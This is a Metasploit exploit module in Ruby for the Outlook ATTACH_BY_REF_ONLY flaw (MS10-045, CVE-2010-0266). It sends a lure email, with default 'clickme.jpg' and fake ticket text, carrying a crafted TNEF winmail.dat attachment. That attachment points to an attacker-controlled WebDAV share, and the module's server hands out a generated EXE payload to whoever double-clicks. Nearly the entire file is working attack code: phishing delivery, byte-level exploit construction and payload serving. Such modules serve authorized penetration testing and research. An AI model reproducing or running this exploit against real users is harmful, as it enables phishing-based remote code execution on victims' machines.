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## # $Id: ms10_045_outlook_ref_only.rb 10389 2010-09-20 04:38:13Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # This module acts as an HTTP server include Msf::Exploit::Remote::HttpServer::HTML # This module also sends email include Msf::Exploit::Remote::SMTPDeliver # This module generates an EXE include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Outlook ATTACH_BY_REF_ONLY File Execution', 'Description' => %q{ It has been discovered that certain e-mail message cause Outlook to create Windows shortcut-like attachments or messages within Outlook. Through specially crafted TNEF streams with certain MAPI attachment properties, it is possible to set a path name to files to be executed. When a user double clicks on such an attachment or message, Outlook will proceed to execute the file that is set by the path name value. These files can be local files, but also file stored remotely for example on a file share. Exploitation is limited by the fact that its is not possible for attackers to supply command line options. }, 'Author' => 'Yorick Koster <yorick@akitasecurity.nl>', 'Version' => '$Revision: 10389 $', 'References' => [ ['MSB', 'MS10-045'], ['CVE', '2010-0266'], ['OSVDB', '66296'], ['BID', '41446'], ['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'], ], 'Stance' => Msf::Exploit::Stance::Passive, 'Payload'=> { 'Space' => 1024, 'Compat'=> { 'ConnectionType' => '-bind -find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Jun 01 2010', 'DefaultTarget'=> 0 )) register_options( [ # # Email options # OptString.new('MESSAGECLASS', [false, 'Message Class value', 'IPM.Note']), OptString.new('FILENAME', [false, 'Sets the file name that is displayed in the message', 'clickme.jpg']), OptBool.new('HTML', [false, 'Send email in HTML or plain text', true]), OptString.new('MESSAGE', [false, 'Email message text', 'Dear Madam, Sir,\\n\\nWe have attached your tickets to this message.\\n\\nKind regards,\\n\\nEve']), # # WebDAV options # OptPort.new('SRVPORT', [ true,"The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true,"The URI to use (do not change).", "/" ]), OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) ], self.class) deregister_options('SSL', 'SSLVersion') # Just for now end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_error("Unexpected request method encountered: #{request.method}") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /\.exe$/i) print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..." return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end print_status "Sending 404to #{cli.peerhost}:#{cli.peerport} ..." resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") headers = { 'MS-Author-Via' => 'DAV', # 'DASL'=> '<DAV:sql>', # 'DAV' => '1, 2', 'Allow' => 'OPTIONS, GET, PROPFIND', 'Public'=> 'OPTIONS, GET, PROPFIND' } resp = create_response(207, "Multi-Status") resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri= "http://#{my_host}/" if path =~ /\.exe$/i # Response for the DLL print_status("Sending EXE multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_dll}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) return end if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") resp = create_response(404, "Not Found") resp['Content-Type'] = 'text/html' cli.send_response(resp) return else print_status("Sending 301 for #{path} ...") resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | subdirectory = %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | files = %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_exe}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | if request["Depth"].to_i > 0 if path.scan("/").length < 2 body << subdirectory else body << files end end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def exploit unc = nil if (datastore['UNCHOST']) unc = datastore['UNCHOST'].dup else unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) end @exploit_unc_host = unc @exploit_unc= "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\" @exploit_exe= rand_text_alpha(rand(8)+4) + ".exe" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] if datastore['HTML'] == true body = create_email_body_html(datastore['MESSAGE'], msg.subject) content_type = "text/html; charset=\"iso-8859-1\"" msg.add_part(body, content_type, 'quoted-printable') else body = create_email_body(datastore['MESSAGE']) content_type = 'text/plain' msg.add_part(body, content_type, '8bit') end attachment = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n") content_type = 'application/ms-tnef' content_disposition = "attachment; name=\"winmail.dat\"" msg.add_part(attachment, content_type, 'base64', content_disposition) print_status("Sending message to the target...") send_message(msg.to_s) print_status("Creating WebDAV service and waiting for connections...") super end def create_email_body(body) body = body.gsub(/\\[nr]/, "\n") body = body.gsub(/\\t/, "\t") return body end def create_email_body_html(body, subject) body = body.gsub(/\\[nr]/, "<BR>\n") body = body.gsub(/\\t/, " ") body = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2//EN\">\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=iso-8859-=\n1\">\n<TITLE>" << subject << "</TITLE>\n</HEAD>\n<BODY>\n" << body << "\n<BR><BR>\n</BODY>\n</HTML>" return body end def create_tnef_exploit filename = (datastore['FILENAME'] || 'clickme.png') << "\x00" message_class = (datastore['MESSAGECLASS'] || 'IPM.Note') << "\x00" pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}?.dat\x00" print_status("Using UNC path: #{pathname}") # start of TNEF stream sploit = create_tnef_header # MAPI message properties msgprops = "\x04\x00\x00\x00" # Count 4 msgprops << "\x0b\x00" # Type PT_BOOLEAN msgprops << "\x1b\x0e" # Name PR_HASATTACH msgprops << "\x01\x00\x00\x00" # Value data 1 msgprops << "\x1e\x00" # Type PT_STRING msgprops << "\x1a\x00" # Name PR_MESSAGE_CLASS msgprops << "\x01\x00\x00\x00" # Count values 1 msgprops << [message_class.length].pack("V") # Value length msgprops << mapi_pad(message_class) # Value data msgprops << "\x03\x00" # Type PT_INT msgprops << "\xfe\x0f" # Name PR_OBJECT_TYPE msgprops << "\x05\x00\x00\x00" # Value data MAPI_MESSAGE (5) msgprops << "\x03\x00" # Type PT_INT msgprops << "\x07\x0e" # Name PR_MESSAGE_FLAGS msgprops << "\x12\x00\x00\x00" # Value data 0x00000012 # add properties to TNEF stream sploit << "\x01" # Level type LVL_MESSAGE sploit << "\x03\x90" # Name attMAPIProps (0x9003) sploit << "\x06\x00" # Type atpByte (0x0006) sploit << [msgprops.length].pack('V') # Len sploit << msgprops sploit << tnef_checksum(msgprops) # start of TNEF attachment sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x02\x90" # Name attAttachRenddata (0x9002) sploit << "\x06\x00" # Type atpByte (0x0006) sploit << "\x0e\x00\x00\x00" # Len 0x0000000e sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00" sploit << "\x3d\x04" # Checksum # MAPI attachment properties attprops = "\x04\x00\x00\x00" # Count 4 attprops << "\x1e\x00" # Type PT_STRING attprops << "\x07\x37" # Name PR_ATTACH_LONG_FILENAME attprops << "\x01\x00\x00\x00" # Count values 1 attprops << [filename.length].pack('V') # Value length attprops << mapi_pad(filename) # Value data attprops << "\x1e\x00" # Type PT_STRING attprops << "\x0d\x37" # Name PR_ATTACH_LONG_PATHNAME attprops << "\x01\x00\x00\x00" # Count values 1 attprops << [pathname.length].pack('V') # Value length attprops << mapi_pad(pathname) # Value data attprops << "\x03\x00" # Type PT_INT attprops << "\x05\x37" # Name PR_ATTACH_METHOD attprops << "\x04\x00\x00\x00" # Value data ATTACH_BY_REF_ONLY (4) attprops << "\x03\x00" # Type PT_INT attprops << "\xfe\x0f" # Name PR_OBJECT_TYPE attprops << "\x07\x00\x00\x00" # Value data MAPI_ATTACH (7) # add properties to TNEF stream sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x05\x90" # Name attAttachment (0x800f) sploit << "\x06\x00" # Type atpByte (0x0006) sploit << [attprops.length].pack('V') # Len sploit << attprops sploit << tnef_checksum(attprops) return sploit end def create_tnef_header # TNEF Header buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 buf << "\x00\x00" # Key # TNEF Attributes buf << "\x01" # Level type LVL_MESSAGE buf << "\x06\x90" # Name attTnefVersion (0x9006) buf << "\x08\x00" # Type atpDword (0x0008) buf << "\x04\x00\x00\x00" # Len 0x00000004 buf << "\x00\x00\x01\x00" buf << "\x01\x00" # Checksum buf << "\x01" # Level type LVL_MESSAGE buf << "\x07\x90" # Name attOemCodepage (0x9007) buf << "\x06\x00" # Type atpByte (0x0006) buf << "\x08\x00\x00\x00" # Len 0x00000008 buf << "\xe4\x04\x00\x00\x00\x00\x00\x00" buf << "\xe8\x00" # Checksum buf << "\x01" # Level type LVL_MESSAGE buf << "\x0d\x80" # Name attPriority (0x800d) buf << "\x04\x00" # Type atpShort (0x0004) buf << "\x02\x00\x00\x00" # Len 0x00000002 buf << "\x02\x00" buf << "\x02\x00" # Checksum return buf end def tnef_checksum(buf = '') checksum = 0; buf.each_byte { |b| checksum += b } return [checksum % 65536].pack('v') end def mapi_pad(buf = '') length = (buf.length + 3) & ~3 (buf.length..(length - 1)).each { buf << "\x00" } return buf end end |
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